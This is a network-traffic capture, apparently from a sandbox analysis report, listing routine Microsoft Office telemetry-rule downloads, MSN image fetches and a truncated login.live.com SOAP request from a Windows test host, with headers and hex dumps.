Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:55 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:56 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220656Z-174c587ffdf6b487hC1TEBydsn00000001wg00000000pcw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:56 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	49932	104.117.182.18	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:56 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:56 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=291743 Expires: Tue, 26 Nov 2024 07:09:19 GMT Date: Fri, 22 Nov 2024 22:06:56 GMT Connection: close
2024-11-22 22:06:56 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:57 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:58 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:58 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 28a3992e-001e-0028-777f-3bc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220658Z-174c587ffdfn4nhwhC1TEB2nbc000000020000000000ua7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:58 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:57 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:58 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:58 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: efe1277d-c01e-008d-7f4b-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220658Z-15b8b599d88l2dpthC1TEBmzr0000000021g000000006g7p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:58 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:57 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:58 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:58 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220658Z-174c587ffdf9xbcchC1TEBxkz400000001wg00000000cefm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:58 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:58 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:58 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:58 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: b5a95b30-c01e-002b-0632-3c6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220658Z-178bfbc474bfw4gbhC1NYCunf400000003kg00000000c101 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:58 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:58 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:58 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:58 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: abaf503b-901e-0064-2b47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220658Z-15b8b599d882hxlwhC1TEBfa5w00000001y000000000a2uv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:58 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	49938	104.117.182.18	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:58 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:58 UTC	551	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 06:37:05 GMT X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 35f8cf50-b6a5-4c74-ae05-da13e654185f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=160249 Expires: Sun, 24 Nov 2024 18:37:47 GMT Date: Fri, 22 Nov 2024 22:06:58 GMT Connection: close
2024-11-22 22:06:58 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	49939	20.231.128.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:58 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-22 22:06:58 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 22:06:59 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 22:05:59 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C551_SN1 x-ms-request-id: a6c0879a-db44-4cb8-915f-5c462b4006e8 PPServer: PPV: 30 H: SN1PEPF0002FA3E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 22:06:58 GMT Connection: close Content-Length: 11409
2024-11-22 22:06:59 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:07:00 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:07:00 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:07:00 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 1a818a33-b01e-005c-4475-3b4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220700Z-174c587ffdf8fcgwhC1TEBnn700000000290000000001h3s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:07:00 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:07:00 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:07:00 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:07:00 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220700Z-174c587ffdftv9hphC1TEBm29w00000001z000000000b5yz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:07:00 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Target ID:	0
Start time:	17:06:00
